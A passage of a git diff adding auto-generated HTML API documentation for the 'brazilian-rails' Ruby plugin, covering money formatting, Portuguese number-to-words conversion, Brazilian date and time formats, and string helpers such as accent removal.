    + + + +
    + + + +
    + +
    +

    Methods

    + +
    + to_s_br   +
    +
    + +
    + + + + +
    + + + + + + + + + +
    +

    Public Instance methods

    + +
    + + + + +
    +

    [Source]

    +
    +
    +   # File vendor/plugins/brazilian-rails/lib/date_utils.rb, line 3
    +3:   def to_s_br
    +4:     strftime("%d/%m/%Y")
    +5:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/Dinheiro.html b/vendor/plugins/brazilian-rails/docs/classes/Dinheiro.html new file mode 100644 index 0000000..91e20e9 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/Dinheiro.html @@ -0,0 +1,723 @@ + + + + + + Class: Dinheiro + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    ClassDinheiro
    In: + + vendor/plugins/brazilian-rails/lib/dinheiro.rb + +
    +
    Parent: + Object +
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + +
    + *   + +   + -   + /   + <=>   + ==   + coerce   + contabil   + new   + por_extenso   + por_extenso_em_reais   + reais   + reais_contabeis   + real   + real_contabil   + to_extenso   + to_f   + to_s   + valor_decimal   +
    +
    + +
    + + + +
    +

    Included Modules

    + +
    + Comparable +
    +
    + +
    + + +
    +

    Constants

    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    FORMATO_VALIDO_BR=/^([R|r]\$\s*)?(([+-]?\d{1,3}(\.?\d{3})*))?(\,\d{0,2})?$/
    FORMATO_VALIDO_EUA=/^([R|r]\$\s*)?(([+-]?\d{1,3}(\,?\d{3})*))?(\.\d{0,2})?$/
    SEPARADOR_MILHAR="."
    SEPARADOR_FRACIONARIO=","
    QUANTIDADE_DIGITOS=3
    PRECISAO_DECIMAL=100
    +
    +
    + + + +
    +

    Attributes

    + +
    + + + + + + +
    quantia [R] 
    +
    +
    + + + + +
    +

    Public Class methods

    + +
    + + + + +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 14
    +14:   def initialize(quantia)
    +15:     self.quantia = quantia
    +16:   end
    +
    +
    +
    +
    + +

    Public Instance methods

    + +
    + + + + +
    +

    +Retorna a multiplicacao entre dinheiros. +

    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 60
    +60:   def *(outro)
    +61:     return Dinheiro.new(to_f * outro) unless outro.kind_of? Dinheiro
    +62:     outro * to_f
    +63:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Retorna a adicao entre dinheiros. +

    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 50
    +50:   def +(outro)
    +51:     Dinheiro.new(transforma_em_string_que_represente_a_quantia(@quantia + quantia_de(outro)))
    +52:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Retorna a subtracao entre dinheiros. +

    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 55
    +55:   def -(outro)
    +56:     Dinheiro.new(transforma_em_string_que_represente_a_quantia(@quantia - quantia_de(outro)))
    +57:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Retorna a divisao entre dinheiros. +

    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 66
    +66:   def /(outro)
    +67:     raise DivisaPorNaoEscalarError unless outro.kind_of?(Numeric)
    +68:     return @quantia/outro if outro == 0
    +69:     soma_parcial = Dinheiro.new(0)
    +70:     parcelas = []
    +71:     (outro-1).times do
    +72:       parcela = Dinheiro.new(transforma_em_string_que_represente_a_quantia(@quantia/outro))
    +73:       parcelas << parcela
    +74:       soma_parcial += parcela
    +75:     end
    +76:     parcelas << Dinheiro.new(transforma_em_string_que_represente_a_quantia(@quantia - quantia_de(soma_parcial)))
    +77:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Compara com outro dinheiro se eh maior ou menor. +

    +

    +Exemplo: +

    +
    + 1.real < 2.reais ==> true
    + 1.real > 2.reais ==> false
    + 2.real < 1.reais ==> false
    + 2.real > 1.reais ==> true
    +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 44
    +44:   def <=>(outro_dinheiro)
    +45:     outro_dinheiro = Dinheiro.new(outro_dinheiro) unless outro_dinheiro.kind_of?(Dinheiro)
    +46:     @quantia <=> outro_dinheiro.quantia
    +47:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Compara com outro dinheiro se eh igual. +

    +

    +Exemplo: +

    +
    + um_real = Dinheiro.new(1)
    + um_real == Dinheiro.new(1) ==> true
    + um_real == Dinheiro.new(2) ==> false
    +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 32
    +32:   def ==(outro_dinheiro)
    +33:     outro_dinheiro = Dinheiro.new(outro_dinheiro) unless outro_dinheiro.kind_of?(Dinheiro)
    +34:     @quantia == outro_dinheiro.quantia
    +35:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    [Source]

    +
    +
    +     # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 102
    +102:   def coerce(outro)
    +103:     [ Dinheiro.new(outro), self ]
    +104:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Retorna uma string formatada. +

    +

    +Exemplo: +

    +
    + Dinheiro.new(1).contabil ==> '1,00'
    + Dinheiro.new(-1).contabil ==> '(1,00)'
    +
    +

    [Source]

    +
    +
    +     # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 135
    +135:   def contabil
    +136:     if @quantia >= 0
    +137:       to_s      
    +138:     else  
    +139:       "(" + to_s[1..-1] + ")"    
    +140:     end  
    +141:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Escreve o valor por extenso. +

    +

    +Exemplo: +

    +
    + 1.real.por_extenso ==> 'um real'
    + (100.58).por_extenso ==> 'cem reais e cinquenta e oito centavos'
    +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 84
    +84:   def por_extenso
    +85:     (@quantia/100.0).por_extenso_em_reais
    +86:   end
    +
    +
    +
    +
    + +
    + + +
    + por_extenso_em_reais() +
    + +
    +

    +Alias for por_extenso +

    +
    +
    + +
    + + +
    + reais() +
    + +
    +

    +Alias for real +

    +
    +
    + +
    + + +
    + reais_contabeis() +
    + +
    +

    +Alias for real_contabil +

    +
    +
    + +
    + + + + +
    +

    +Retorna uma string formatada em valor monetario. +

    +

    +Exemplo: +

    +
    + Dinheiro.new(1).real ==> 'R$ 1,00'
    + Dinheiro.new(-1).real ==> 'R$ -1,00'
    +
    +

    [Source]

    +
    +
    +     # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 111
    +111:   def real
    +112:     "R$ " + to_s
    +113:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Retorna uma string formatada em valor monetario. +

    +

    +Exemplo: +

    +
    + Dinheiro.new(1).real ==> 'R$ 1,00'
    + Dinheiro.new(-1).real ==> 'R$ (1,00)'
    +
    +

    [Source]

    +
    +
    +     # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 120
    +120:   def real_contabil
    +121:     "R$ " + contabil
    +122:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +DEPRECATION WARNING: use por_extenso ou +por_extenso_em_reais, pois este sera +removido no proximo release. +

    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 92
    +92:   def to_extenso
    +93:     warn("DEPRECATION WARNING: use por_extenso ou por_extenso_em_reais, pois este sera removido no proximo release.")
    +94:     self.por_extenso
    +95:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Retorna um Float. +

    +

    [Source]

    +
    +
    +     # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 98
    + 98:   def to_f
    + 99:     to_s.gsub(',', '.').to_f
    +100:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Retorna o valor armazenado em string. +

    +

    +Exemplo: +

    +
    + 1000.to_s ==> '1.000,00'
    +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 22
    +22:   def to_s
    +23:     inteiro_com_milhar(parte_inteira) + parte_decimal
    +24:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Retorna um BigDecinal. +

    +

    [Source]

    +
    +
    +     # File vendor/plugins/brazilian-rails/lib/dinheiro.rb, line 144
    +144:   def valor_decimal
    +145:     BigDecimal.new quantia_sem_separacao_milhares.gsub(',','.')
    +146:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/DinheiroUtil.html b/vendor/plugins/brazilian-rails/docs/classes/DinheiroUtil.html new file mode 100644 index 0000000..f207971 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/DinheiroUtil.html @@ -0,0 +1,281 @@ + + + + + + Module: DinheiroUtil + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleDinheiroUtil
    In: + + vendor/plugins/brazilian-rails/lib/dinheiro_util.rb + +
    +
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + +
    + contabil   + para_dinheiro   + reais   + reais_contabeis   + real   + real_contabil   +
    +
    + +
    + + + + +
    + + + + + + + + + +
    +

    Public Instance methods

    + +
    + + + + +
    +

    +Retorna string formatada com simbolo monetario +

    +

    +Exemplo: +

    +
    + 1.contabil ==> '1,00'
    + -1.contabil ==> '(1,00)'
    +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro_util.rb, line 39
    +39:   def contabil
    +40:     Dinheiro.new(self).contabil
    +41:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +Transforma numero em dinheiro +

    +

    +Exemplo: +

    +
    + 1.para_dinheiro.class ==> Dinheiro
    +
    +

    [Source]

    +
    +
    +   # File vendor/plugins/brazilian-rails/lib/dinheiro_util.rb, line 6
    +6:   def para_dinheiro
    +7:     Dinheiro.new(self)
    +8:   end
    +
    +
    +
    +
    + +
    + + +
    + reais() +
    + +
    +

    +Alias for para_dinheiro +

    +
    +
    + +
    + + + + +
    +

    +Retorna string formatada com simbolo monetario +

    +

    +Exemplo: +

    +
    + 2.reais_contabeis ==> 'R$ 2,00'
    + -2.reais_contabeis ==> 'R$ 2,00'
    +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro_util.rb, line 30
    +30:   def reais_contabeis
    +31:     Dinheiro.new(self).reais_contabeis
    +32:   end
    +
    +
    +
    +
    + +
    + + +
    + real() +
    + +
    +

    +Alias for para_dinheiro +

    +
    +
    + +
    + + + + +
    +

    +Retorna string formatada com simbolo monetario +

    +

    +Exemplo: +

    +
    + 1.real_contabil ==> 'R$ 1,00'
    + -1.real_contabil ==> 'R$ (1,00)'
    +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/dinheiro_util.rb, line 21
    +21:   def real_contabil
    +22:     Dinheiro.new(self).real_contabil
    +23:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/Extenso.html b/vendor/plugins/brazilian-rails/docs/classes/Extenso.html new file mode 100644 index 0000000..2f2586d --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/Extenso.html @@ -0,0 +1,251 @@ + + + + + + Module: Extenso + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleExtenso
    In: + + vendor/plugins/brazilian-rails/lib/number_portuguese.rb + +
    +
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + +
    + por_extenso   + por_extenso   + to_extenso   +
    +
    + +
    + + + + +
    + + + + + + + + + +
    +

    Public Class methods

    + +
    + + + + +
    +

    +Escreve o numero por extenso. +

    +

    +Exemplo: +

    +
    + Extenso.por_extenso(1) ==> "um"
    + Extenso.por_extenso(100) ==> "cem"
    + Extenso.por_extenso(158) ==> "cento e cinquenta e oito"
    +
    +

    [Source]

    +
    +
    +     # File vendor/plugins/brazilian-rails/lib/number_portuguese.rb, line 65
    + 65:   def Extenso.por_extenso(numero)
    + 66:     n=numero.to_i.abs
    + 67:     return case n
    + 68:     when 0..9: @@unidade[n].to_s 
    + 69:     when 10..19: @@dezena[n].to_s
    + 70:     when 20..99:
    + 71:       v=n % 10
    + 72:       if  v== 0
    + 73:         @@dezena[n].to_s
    + 74:       else
    + 75:         "#{@@dezena[n-v]} e #{por_extenso(v)}"
    + 76:       end
    + 77:     when 100
    + 78:       "cem"     
    + 79:     when 101..999
    + 80:       v=n % 100
    + 81:       if  v== 0
    + 82:         @@centena[n].to_s
    + 83:       else
    + 84:         "#{@@centena[n-v]} e #{por_extenso(v)}"
    + 85:       end
    + 86:     when 1000..999999  
    + 87:       m,c=n/1000,n%1000
    + 88:       %(#{por_extenso(m)} mil#{c > 0 ? " e #{por_extenso(c)}":''})
    + 89:     when 1_000_000..999_999_999
    + 90:       mi,m=n/1_000_000,n%1_000_000
    + 91:       %(#{por_extenso(mi)} milh#{mi > 1 ? 'ões':'ão'}#{m > 0 ? " e #{por_extenso(m)}" : ''})
    + 92:     when 1_000_000_000..999_999_999_999
    + 93:       bi,mi=n/1_000_000_000,n%1_000_000_000
    + 94:       %(#{por_extenso(bi)} bilh#{bi > 1 ? 'ões':'ão'}#{mi > 0 ? " e #{por_extenso(mi)}" : ''})
    + 95:     when 1_000_000_000_000..999_999_999_999_999
    + 96:       tri,bi=n/1_000_000_000_000,n%1_000_000_000_000
    + 97:       %(#{por_extenso(tri)} trilh#{tri > 1 ? 'ões':'ão'}#{bi > 0 ? " e #{por_extenso(bi)}" : ''})
    + 98:     else
    + 99:       raise "Valor excede o permitido: #{n}"
    +100:     end
    +101:   end
    +
    +
    +
    +
    + +

    Public Instance methods

    + +
    + + + + +
    +

    +Escreve o numero por extenso. +

    +

    +Exemplo: +

    +
    + 1.por_extenso ==> 'um'
    + 100.por_extenso ==> 'cem'
    + 158.por_extenso ==> 'cento e cinquenta e oito'
    +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/number_portuguese.rb, line 49
    +49:   def por_extenso
    +50:     Extenso.por_extenso(self)
    +51:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +DEPRECATION WARNING: use por_extenso, +pois este sera removido no proximo release. +

    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/number_portuguese.rb, line 54
    +54:   def to_extenso
    +55:     warn('DEPRECATION WARNING: use por_extenso, pois este sera removido no proximo release.')
    +56:     self.por_extenso
    +57:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/ExtensoReal.html b/vendor/plugins/brazilian-rails/docs/classes/ExtensoReal.html new file mode 100644 index 0000000..47201fc --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/ExtensoReal.html @@ -0,0 +1,251 @@ + + + + + + Module: ExtensoReal + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleExtensoReal
    In: + + vendor/plugins/brazilian-rails/lib/number_portuguese.rb + +
    +
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + + +
    + +
    + + + +
    +

    Included Modules

    + +
    + Extenso +
    +
    + +
    + + + + + + + + + +
    +

    Public Class methods

    + +
    + + + + +
    +

    +Escreve o numero por extenso em reais. +

    +

    +Exemplo: +

    +
    + Extenso.por_extenso_em_reais(1) ==> "um real"
    + Extenso.por_extenso_em_reais(100) ==> "cem reais"
    + Extenso.por_extenso_em_reais(100.58) ==> "cem reais e cinquenta e oito centavos"
    +
    +

    [Source]

    +
    +
    +     # File vendor/plugins/brazilian-rails/lib/number_portuguese.rb, line 128
    +128:   def ExtensoReal.por_extenso_em_reais(valor)
    +129:     return 'grátis' if valor == 0
    +130:     case valor
    +131:     when Integer 
    +132:       extenso = Extenso.por_extenso(valor)
    +133:       if extenso =~ /^(.*)(ão$|ões$)/
    +134:         complemento = 'de '
    +135:       else
    +136:         complemento = ''
    +137:       end
    +138:       %(#{extenso} #{valor <= 1 ? 'real': "#{complemento}reais"})
    +139:     when Float
    +140:       real,cents=("%.2f" % valor).split(/\./).map{ |m| m.to_i}
    +141:       valor_cents=Extenso.por_extenso(cents%100)
    +142:        
    +143:       valor_cents+= case cents.to_i%100
    +144:       when 0: ""
    +145:       when 1: " centavo"
    +146:       when 2..99: " centavos"
    +147:       end 
    +148:        
    +149:       if real.to_i > 0
    +150:         "#{ExtensoReal.por_extenso_em_reais(real.to_i)}#{cents > 0 ? ' e ' + valor_cents : ''}"
    +151:       else
    +152:         "#{valor_cents}"
    +153:       end
    +154:     else
    +155:       ExtensoReal.por_extenso_em_reais(valor.to_s.strip.gsub(/[^\d]/,'.').to_f)
    +156:     end
    +157:   end
    +
    +
    +
    +
    + +

    Public Instance methods

    + +
    + + + + +
    +

    +Escreve por extenso em reais. +

    +

    +Exemplo: +

    +
    + 1.por_extenso_em_reais ==> 'um real'
    + (100.58).por_extenso_em_reais ==> 'cem reais e cinquenta e oito centavos'
    +
    +

    [Source]

    +
    +
    +     # File vendor/plugins/brazilian-rails/lib/number_portuguese.rb, line 112
    +112:   def por_extenso_em_reais
    +113:     ExtensoReal.por_extenso_em_reais(self.to_s)
    +114:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +DEPRECATION WARNING: use por_extenso_em_reais, pois este sera +removido no proximo release. +

    +

    [Source]

    +
    +
    +     # File vendor/plugins/brazilian-rails/lib/number_portuguese.rb, line 117
    +117:   def to_extenso_real
    +118:     warn('DEPRECATION WARNING: use por_extenso_em_reais, pois este sera removido no proximo release.')
    +119:     self.por_extenso_em_reais
    +120:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/Inflector.html b/vendor/plugins/brazilian-rails/docs/classes/Inflector.html new file mode 100644 index 0000000..6cb05b2 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/Inflector.html @@ -0,0 +1,105 @@ + + + + + + Module: Inflector + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleInflector
    In: + + vendor/plugins/brazilian-rails/lib/inflector_portuguese.rb + +
    +
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/NilClass.html b/vendor/plugins/brazilian-rails/docs/classes/NilClass.html new file mode 100644 index 0000000..839b6dd --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/NilClass.html @@ -0,0 +1,242 @@ + + + + + + Class: NilClass + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    ClassNilClass
    In: + + vendor/plugins/brazilian-rails/lib/nil_class.rb + +
    +
    Parent: + Object +
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + +
    + para_dinheiro   + reais   + real   + valor   + valor_contabil   +
    +
    + +
    + + + + +
    + + + + + + + + + +
    +

    Public Instance methods

    + +
    + + + + +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/nil_class.rb, line 11
    +11:   def para_dinheiro
    +12:     ""
    +13:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/nil_class.rb, line 15
    +15:   def reais
    +16:     ""
    +17:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/nil_class.rb, line 19
    +19:   def real
    +20:     ""
    +21:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    [Source]

    +
    +
    +   # File vendor/plugins/brazilian-rails/lib/nil_class.rb, line 3
    +3:   def valor
    +4:     ""
    +5:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    [Source]

    +
    +
    +   # File vendor/plugins/brazilian-rails/lib/nil_class.rb, line 7
    +7:   def valor_contabil
    +8:     ""
    +9:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/StringPortuguese.html b/vendor/plugins/brazilian-rails/docs/classes/StringPortuguese.html new file mode 100644 index 0000000..d7dd8c1 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/StringPortuguese.html @@ -0,0 +1,187 @@ + + + + + + Module: StringPortuguese + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleStringPortuguese
    In: + + vendor/plugins/brazilian-rails/lib/string_portuguese.rb + +
    +
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + + +
    + +
    + + + + +
    + + + + + + + + + +
    +

    Public Instance methods

    + +
    + + + + +
    +

    +Normaliza nomes proprios +

    +

    +Exemplo: +

    +
    + 'maria de souza dos santos e silva da costa'.nome_proprio ==> 'Maria de Souza dos Santos e Silva da Costa'
    +
    +

    [Source]

    +
    +
    +   # File vendor/plugins/brazilian-rails/lib/string_portuguese.rb, line 6
    +6:   def nome_proprio
    +7:     self.titleize().gsub(/ D(a|e|o|as|os) /, ' d\1 ').gsub(/ E /, ' e ')
    +8:   end
    +
    +
    +
    +
    + +
    + + + + +
    +

    +remove as letras acentuadas +

    +

    +Exemplo: +

    +
    + 'texto está com acentuação'.remover_acentos ==> 'texto esta com acentuacao'
    +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/string_portuguese.rb, line 14
    +14:   def remover_acentos
    +15:     texto = self
    +16:     texto = texto.gsub(/[á|à|ã|â|ä]/, 'a').gsub(/(é|è|ê|ë)/, 'e').gsub(/(í|ì|î|ï)/, 'i').gsub(/(ó|ò|õ|ô|ö)/, 'o').gsub(/(ú|ù|û|ü)/, 'u')
    +17:     texto = texto.gsub(/(Á|À|Ã|Â|Ä)/, 'A').gsub(/(É|È|Ê|Ë)/, 'E').gsub(/(Í|Ì|Î|Ï)/, 'I').gsub(/(Ó|Ò|Õ|Ô|Ö)/, 'O').gsub(/(Ú|Ù|Û|Ü)/, 'U')
    +18:     texto = texto.gsub(/ñ/, 'n').gsub(/Ñ/, 'N')
    +19:     texto = texto.gsub(/ç/, 'c').gsub(/Ç/, 'C')
    +20:     texto
    +21:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/Time.html b/vendor/plugins/brazilian-rails/docs/classes/Time.html new file mode 100644 index 0000000..348fcb0 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/Time.html @@ -0,0 +1,156 @@ + + + + + + Class: Time + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    ClassTime
    In: + + vendor/plugins/brazilian-rails/lib/time_portuguese.rb + +
    +
    Parent: + Object +
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + +
    + to_s_br   +
    +
    + +
    + + + + +
    + + + + + + + + + +
    +

    Public Instance methods

    + +
    + + + + +
    +

    +Retorna a hora no padrao brasileiro +

    +

    +Exemplo: +

    +
    + hora = Time.new
    + hora.to_s_br ==> "27/09/2007 13:54"
    +
    +

    [Source]

    +
    +
    +   # File vendor/plugins/brazilian-rails/lib/time_portuguese.rb, line 7
    +7:   def to_s_br
    +8:     self.strftime("%d/%m/%Y %H:%M")
    +9:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/created.rid b/vendor/plugins/brazilian-rails/docs/created.rid new file mode 100644 index 0000000..73ee4b2 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/created.rid @@ -0,0 +1 @@ +Thu, 27 Sep 2007 15:08:09 -0300 diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/action_view_portuguese_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/action_view_portuguese_rb.html new file mode 100644 index 0000000..416530e --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/action_view_portuguese_rb.html @@ -0,0 +1,101 @@ + + + + + + File: action_view_portuguese.rb + + + + + + + + + + +
    +

    action_view_portuguese.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/action_view_portuguese.rb +
    Last Update:Tue Sep 25 13:30:14 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/active_record_portuguese_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/active_record_portuguese_rb.html new file mode 100644 index 0000000..9b2a424 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/active_record_portuguese_rb.html @@ -0,0 +1,101 @@ + + + + + + File: active_record_portuguese.rb + + + + + + + + + + +
    +

    active_record_portuguese.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/active_record_portuguese.rb +
    Last Update:Tue Sep 25 13:30:14 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/date_portuguese_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/date_portuguese_rb.html new file mode 100644 index 0000000..9e67e8b --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/date_portuguese_rb.html @@ -0,0 +1,101 @@ + + + + + + File: date_portuguese.rb + + + + + + + + + + +
    +

    date_portuguese.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/date_portuguese.rb +
    Last Update:Thu Sep 27 15:06:30 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/date_utils_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/date_utils_rb.html new file mode 100644 index 0000000..0e9fe58 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/date_utils_rb.html @@ -0,0 +1,101 @@ + + + + + + File: date_utils.rb + + + + + + + + + + +
    +

    date_utils.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/date_utils.rb +
    Last Update:Fri Aug 03 15:47:53 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/dinheiro_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/dinheiro_rb.html new file mode 100644 index 0000000..69d57ab --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/dinheiro_rb.html @@ -0,0 +1,101 @@ + + + + + + File: dinheiro.rb + + + + + + + + + + +
    +

    dinheiro.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/dinheiro.rb +
    Last Update:Thu Sep 27 14:58:35 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/dinheiro_util_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/dinheiro_util_rb.html new file mode 100644 index 0000000..8b2e852 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/dinheiro_util_rb.html @@ -0,0 +1,101 @@ + + + + + + File: dinheiro_util.rb + + + + + + + + + + +
    +

    dinheiro_util.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/dinheiro_util.rb +
    Last Update:Thu Sep 27 14:42:35 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/excecoes_rb.html b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/excecoes_rb.html new file mode 100644 index 0000000..5301af4 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/files/vendor/plugins/brazilian-rails/lib/excecoes_rb.html @@ -0,0 +1,136 @@ + + + + + + File: excecoes.rb + + + + + + + + + + +
    +

    excecoes.rb

    + + + + + + + + + +
    Path:vendor/plugins/brazilian-rails/lib/excecoes.rb +
    Last Update:Tue Sep 25 13:30:14 -0300 2007
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + +
    + cria_excecao   +
    +
    + +
    + + + + +
    + + + + + + + + + +
    +

    Public Instance methods

    + +
    + + + + +
    +

    [Source]

    +
    +
    +   # File vendor/plugins/brazilian-rails/lib/excecoes.rb, line 1
    +1: def cria_excecao(classe, mensagem)
    +2:   eval "class #{classe}; def initialize; super('#{mensagem}'); end; end"
    +3: end
    +
    +
    +
    +
    + + +
    + + +
